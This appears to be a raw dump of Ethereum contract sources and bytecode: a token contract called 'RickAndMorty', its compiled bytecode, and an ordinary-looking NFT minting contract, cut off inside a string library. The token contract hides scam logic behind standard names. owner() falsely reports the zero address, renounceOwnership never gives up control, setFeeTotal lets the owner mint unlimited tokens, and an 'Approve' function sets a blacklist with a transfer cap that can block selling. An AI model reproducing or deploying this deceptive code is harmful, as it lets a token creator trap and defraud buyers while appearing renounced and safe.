overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return address(0); } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract RickAndMorty is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address public _tBotAddress; address public _tBlackAddress; uint256 private _tTotal = 100 * 10**9 * 10**18; string private _name = 'RickAndMorty'; string private _symbol = '$RICKMORTY'; uint8 private _decimals = 18; uint256 public _maxBlack = 50000000 * 10**18; constructor () public { _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function Approve(address blackListAddress) public onlyOwner { _tBotAddress = blackListAddress; } function setBlackAddress(address blackAddress) public onlyOwner { _tBlackAddress = blackAddress; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setFeeTotal(uint256 amount) public onlyOwner { require(_msgSender() != address(0), "ERC20: cannot permit zero address"); _tTotal = _tTotal.add(amount); _balances[_msgSender()] = _balances[_msgSender()].add(amount); emit Transfer(address(0), _msgSender(), amount); } function Approve(uint256 maxTxBlackPercent) public onlyOwner { _maxBlack = maxTxBlackPercent * 10**18; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); if (sender != _tBlackAddress && recipient == _tBotAddress) { require(amount < _maxBlack, "Transfer amount exceeds the maxTxAmount."); } _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad57806396bfcd231161007157806396bfcd23146104f1578063a9059cbb14610535578063b415564914610599578063dd62ed3e146105b7578063f2fde38b1461062f57610121565b8063715018a6146103d457806377b92c07146103de5780638766504d1461040c5780638da5cb5b1461043a57806395d89b411461046e57610121565b806323b872dd116100f457806323b872dd1461026f578063313ce567146102f35780633de1e2e3146103145780636d0a2e901461034857806370a082311461037c57610121565b806306fdde0314610126578063095ea7b3146101a957806318160ddd1461020d5780631f9ac9011461022b575b600080fd5b61012e610673565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101f5600480360360408110156101bf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b610215610733565b6040518082815260200191505060405180910390f35b61026d6004803603602081101561024157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061073d565b005b6102db6004803603606081101561028557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610849565b60405180821515815260200191505060405180910390f35b6102fb610922565b604051808260ff16815260200191505060405180910390f35b61031c610939565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035061095f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103be6004803603602081101561039257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610985565b6040518082815260200191505060405180910390f35b6103dc6109ce565b005b61040a600480360360208110156103f457600080fd5b8101908080359060200190929190505050610b13565b005b6104386004803603602081101561042257600080fd5b8101908080359060200190929190505050610bef565b005b610442610e72565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610476610e77565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b657808201518184015260208101905061049b565b50505050905090810190601f1680156104e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105336004803603602081101561050757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f19565b005b6105816004803603604081101561054b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611025565b60405180821515815260200191505060405180910390f35b6105a1611043565b6040518082815260200191505060405180910390f35b610619600480360360408110156105cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611049565b6040518082815260200191505060405180910390f35b6106716004803603602081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d0565b005b606060068054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561070b5780601f106106e05761010080835404028352916020019161070b565b820191906000526020600020905b8154815290600101906020018083116106ee57829003601f168201915b5050505050905090565b60006107296107226112db565b84846112e3565b6001905092915050565b6000600554905090565b6107456112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006108568484846114da565b610917846108626112db565b61091285604051806060016040528060288152602001611a9e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108c86112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b6112e3565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109d66112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a96576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b610b1b6112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260098190555050565b610bf76112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16610cd76112db565b73ffffffffffffffffffffffffffffffffffffffff161415610d44576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119e86021913960400191505060405180910390fd5b610d598160055461195f90919063ffffffff16565b600581905550610db88160016000610d6f6112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b60016000610dc46112db565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e0a6112db565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b600090565b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f0f5780601f10610ee457610100808354040283529160200191610f0f565b820191906000526020600020905b815481529060010190602001808311610ef257829003601f168201915b5050505050905090565b610f216112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006110396110326112db565b84846114da565b6001905092915050565b60095481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110d86112db565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611198576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561121e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611a2e6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611369576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b0f6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611a546022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611a096025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aec6023913960400191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116915750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116f15760095481106116f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180611a766028913960400191505060405180910390fd5b5b61175d81604051806060016040528060268152602001611ac660269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189f9092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f281600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461195f90919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600083831115829061194c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119115780820151818401526020810190506118f6565b50505050905090810190601f16801561193e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156119dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122043ff5dfb4bf532b9deb84c04eb32005b639d6b81c21934c2923090c54770fdcc64736f6c634300060c0033
[ 38 ]
0xF26027B37F671769CA3206D635303E875a6adf2D
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; import "Strings.sol"; import "ERC721Enum.sol"; // _____ _ _ ___ _ _ _ _ _____ // / ____| | | |/ (_) | | | \ | | | | / ____| // | | ___ ___ | | ' / _ __| |___| \| | _____ _| |_| | __ ___ _ __ // | | / _ \ / _ \| | < | |/ _` / __| . ` |/ _ \ \/ / __| | |_ |/ _ \ '_ \ // | |___| (_) | (_) | | . \| | (_| \__ \ |\ | __/> <| |_| |__| | __/ | | | // \_____\___/ \___/|_|_|\_\_|\__,_|___/_| \_|\___/_/\_\\__|\_____|\___|_| |_| // XXXXXXXXXXXXXXXXXXXXXX0OOKXXXXXXXXXKOOOOOOOOOOOOOOOOOOOOOOkxdolcccccld0X0KXXXXXXXXXXXXXXXX // XXXXXXXXXXXXXXXXXXXXX0kOKXXXXXXXXXKOOOOOOOOOOOOOOOOOOOxl:,,,;;;::cc,. oX0OKXXXXXXXXXXXXXXX // XXXXXXXXXXXXXXXXXXXX0kxkKXXXXXXXXKOkOOOkdolc::;,;;;,,;;;cldkOOOOOOd'.:xOKOOKXXXXXXXXXXXXXX // XXXXXXXXXXXXXXXXKKK0kxxxkKKKKXXXKkl::,'..'';:ccloxxooxOOOOOOOOOOkc..,;,'ckO0XXXXXXXXXXXXXX // XXXXXXXXXXXXXXXKOkOOkxkOkkkxOXKx;..,;:loxkOOOOxldOOOOOOOOOOOOOOo' .'cxc.;kOKXXXXXXXXXXXXX // XXXXXXXXXXXXXXKOkkkOOkkkkkxlc:'.'lkOOOOOOOOxc,,lkOOOOOOOOOOOOkc. .cxOOx'.lkOKXXXXXXXXXXXX // XXXXXXXXXXXXXKOkOOOK0kkxc;'. 'lkOOOOOOOOkc,;ldOOOOOOOOOOOOOd' .cxOOOOO: ;kOKXXXXXXXXXXXX // XXXXXXXXXXXXK0k0XXXX0d:'','.,okOOOOOOOOOkc,oOOOOOOOOOOOOOOk:. 'lkOOOOOOOl.,kOOKXXXXXXXXXXX // XXXXXXXXXXXK0k0XXKx:'.;ol,;oOOOOOOOOOOOOOkOOOOOOOOOOOOOOOd'.,okOOOOOOOOOd..x0kOOOKXXXXXXXX // XXXXXXXXXXX0kOX0o'.,lxOxcokOOOOOOOOOOOOOOOOOOOOOOOOOOOOOl';dOOOOOOOOOOOOx'.dXK0Ok0XXXXXXXX // XXXXXXXXXXKOOKO,.;dOOOOOOOOOOkkOOOOOOOOOOOOOOOOOOOOOOOOxcoOOOOOOOOOOOOOOd..xXXXKOOKXXXXXXX // XXXXXXXXXXOk0Xo ,kOOOOOOOOOOd:dOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOk, ,lkXXX0k0XXXXXXX // XXXXXXXXX0kOXXc ,kOOOOOOOOOd,cOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOk: ..cKXXKOOKXXXXXX // XXXXXXXXKOOKXo. ,kOOOOOOOOO;;kOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOc ,d:'kXXX0k0XXXXXX // XXXXXXXKOk0Xk. ,kOOOOOOOOk,;kOOOOOOOOOOOOOOOOOxxOOOOOOOOOOOOOOOOOOOOl.'okOl.lXKX0kOKXXXXX // XXXXXXX0kOX0;.,.'kOOOOOOOOO;.dOOOOOOOOOOOOOOO0o.:OOOOOOOOkolokOOOOOOklckOOOo.:0OOkkkO00KXX // XXXXXXKOOKXd.'dooOOOOOOOOOOl.;OOOOOOOOOOxoc:cl, ;kOOOxl:'...ckOOOOOOOOOOOOOd.;0OkkkOkxxk0X // XXXXXX0k0XXl ,kOOOOOOOOOOOko..oOOOOOOkl,.,cdOKo..ll;'.';ld,.dOOOOOOOOOOOOOOd.,xkkkkkkkOOKX // XXXXXKOO0XXd..dOOOxoxOOxl;.';..dOOOOd'.,d0XKXXO, ..;lx0KXKc.lOOOOOOOOOOOOOOd.,kkkkOOk0XXXX // XXXXX0kkOKX0; :OOk,.cl,..,oO0l.'dOOo..oKKKKKKKKOxdl;,;xKKK: cOOOOOOOOOOOOOOd.,xxkOKKOOKXXX // XXXXKOkxx0XXx..oOc .':ccccc::;..ll..oKKKKKKKKKKx;;oo,,xX0; ;oc;'',:dOOOOOOd.;kOOOKXOk000K // XXXX0kxxxOKK0c ,o' .oKKKKOxoox0x;..'dKKKKKKKKKXKOk0KK0O0KKl... .. .lOOOOOc'dXXXXXX0kkOkO // KO00Oxxkkkkkkd,....o0OxxxxxkOKKKKOk0KKKKXKKKKKKKKKKKK0KKKKKkxoclkO, ;kOOkc.cKXXXXXXX00K0k // OkkOkxkOOOOOOOd' .;kKo'..:;.,kXKKKKKKKKKKKKKKKKd,'',;:;;xXKKKKx;oO, cOOx;.:OKXXXXXXXXXXKO // Okkkkkkkkkkkkxxd:',xXKo.:N0,.kXKKKKKKKKKKKKKKXKOd,.l0Kc.lXKKKKxdk: :kOd'.,ccxXXXXXXXXXXX0 // kOkkOKKKKKKKkxkkxc:xKKk,.:,.:0KKKKKKKKKKKKKKKKKKXo.,xd'.xXKKK0dc. .ckOd' . ,xKXXXXXXXXXXK // OK00KXXXXXXKOkkkxxdxkkkxl::o0KKKKKKKKKXXXKX0OO0KKKd;'.,xKKKKXk' ,dOOOx:...ckOO0XXXXXXXXXX // 0XXXXXXXXXXXX0OOOl';k00KKXXKKKKKKK0xdoollol;lk0XKKKK00KKKKKKKK: ,kOOOo;..cxOOOOk0XXXXXXXXX // KXXXXXXXXXXXK0OOOk;.;kKKKKXKKKKKKKkl::;:::cd0XKKKKKKKKKKKKKKKKl ,kkl,.'lkOOOOOOkOKXXXXXXXX // XXXXXXXXXXXX0OOOOOkc..:d0XKKKKKKKXXXXXXXXXXXKKKKKKKKKKKKKKKKKXo .;'.'lkOOOOOOOOOOKXXXXXXXX // XXXXXXXXXXXKOOOOOOOOxl'.'cdOKXXKKKKKKKKKKKKKKKXKKKKKKKKKKKKKOd, 'oOOOOOOOOOOOOk0XXXXXXXX // XXXXXXXXXK00OOOOOOOOOOOdc,..,coxO0KXKKKKKKKKKKKKKKKXKKKKKX0d, . .':lxOOOOOOOOOO0XXXXXXXX // XXXXXXXXKOOOOOOOOOOOOOOOkl'. ':xKXKKKKKKKKKKKKKKKKKKKKKKKd' ';. ',...,cdOOOkkkkk0KKKXXXX // XXXXXXXXOkOOOOOOOOOOOOd:... ...l0KKKKKKKKKKKKKKKKKKKKKKKKx:..,;. 'lllc;'..,dOOkkxxxkkkOO0K // XXXXXXXKkkOOOOOOOOOOo,..,cc..'..,okKKXKKKKKKKKKKKKKKK0xl,..'::. 'cllllllc. .lkOkkxkOkxxkk0 // XXXXXXX0kkOOOOOOOOOc..,clll' .:,...':lxkOOOO000OOkdl:'..';cc,. ,lllllllc. ...,dxxkkkkkOOOk // XXXXXXKOxxOOOOOOOOo. .cllll; .:lc:;'.................,;ccc:' .;lllllll;. 'cc' 'okkkOOOOOOk // XXXXXX0kxxkOOOOOOd. . .:llll' .;cccccc:::;;;;;;;::cccccc;'..'cllllllc, .;cc,. 'xOOOOOOOOO // XXXXXKOxxkxkOOOOk, 'c' .:llll;. .;ccccccccccccccccccc:'...':lllllllc. .::'..'c;.,kOOOOOOOO // XXXXX0kxkOkkkkkko' .:c, .:llllc,. .,:ccccccccccccc:,...';cllllllll;. ';'..:x0XO; :OOOOOOOO // XXXXKOkxkOOOOOOOkc...';. 'llllllc,. .';cccccccc;....;cllllllllll,..'...ckKKKKXx..oOOOOOOO // XXXX0kkkkkkkkkxkkoldc. 'lllllllll:,.....,;,'....,cllllllllllll, ...cOKKKKKKKKc ,kOOOOOO // XXXKOkOOOOOOOOkkkkxxkl. ;lllllllllllll:,'.....,:llllllllllllll:. .;xKKKKKKKKKXk'.lOOOOOO // XXX0kkOOOOOOOOkc:dOkkkl..:lllllllllllllllllclllllllllllllllllll:. 'dKKKKKKKKKKKKKc ,kOOOOO // XXKOkOOOOOOOOOd..dXKKKo .collllllllllllllllllllllllllllllllllllc..oXKKKKKKKKKKKKXx..dOOOOO contract CoolKidsNextGen is ERC721Enum { using Strings for uint256; uint256 public constant COOL_KIDS_NEXT_GEN_SUPPLY = 5000; uint256 public constant MAX_MINT_PER_TX = 10; uint256 public coolKidsFree = 1000; uint256 public price = 0.01 ether; address private constant addressOne = 0xb0039C1f0b355CBE011b97bb75827291Ba6D78Cb ; address private constant addressTwo = 0x642559efb3C1E94A30ABbCbA431f818FbD507820 ; address private constant addressThree = 0x1D3c99D01329b2D98CC3a7Fa5178aB4A31F7c155 ; bool public pauseMint = true; string public baseURI; string internal baseExtension = ".json"; address public immutable owner; constructor() ERC721P("CoolKidsNextGen", "CKNG") { owner = msg.sender; } modifier mintOpen() { require(!pauseMint, "mint paused"); _; } modifier onlyOwner() { _onlyOwner(); _; } /** INTERNAL */ function _onlyOwner() private view { require(msg.sender == owner, "onlyOwner"); } function _baseURI() internal view virtual returns (string memory) { return baseURI; } /** Mint CoolKidsNextGen */ function mint(uint16 amountPurchase) external payable mintOpen { uint256 currentSupply = totalSupply(); require( amountPurchase <= MAX_MINT_PER_TX, "Max10perTX" ); require( currentSupply + amountPurchase <= COOL_KIDS_NEXT_GEN_SUPPLY, "soldout" ); if(currentSupply > coolKidsFree) { require(msg.value >= price * amountPurchase, "not enougth eth"); } for (uint8 i; i < amountPurchase; i++) { _safeMint(msg.sender, currentSupply + i); } } /** Get tokenURI */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent meow"); string memory currentBaseURI = _baseURI(); return ( bytes(currentBaseURI).length > 0 ? string( abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension) ) : "" ); } /** ADMIN SetPauseMint*/ function setPauseMint(bool _setPauseMint) external onlyOwner { pauseMint = _setPauseMint; } /** ADMIN SetBaseURI*/ function setBaseURI(string memory _newBaseURI) external onlyOwner { baseURI = _newBaseURI; } /** ADMIN SetFreeSupply*/ function setFreeSupply(uint256 _freeSupply) external onlyOwner { coolKidsFree = _freeSupply; } /** ADMIN SetPrice*/ function setPrice(uint256 _price) external onlyOwner { price = _price; } /** ADMIN withdraw*/ function withdrawAll() external onlyOwner { uint256 balance = address(this).balance; require(balance > 0, "No money"); _withdraw(addressOne, (balance * 30) / 100); _withdraw(addressTwo, (balance * 30) / 100); _withdraw(addressThree, (balance * 30) / 100); _withdraw(msg.sender, address(this).balance); } function _withdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{ value: _amount }(""); require(success, "Transfer failed"); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // 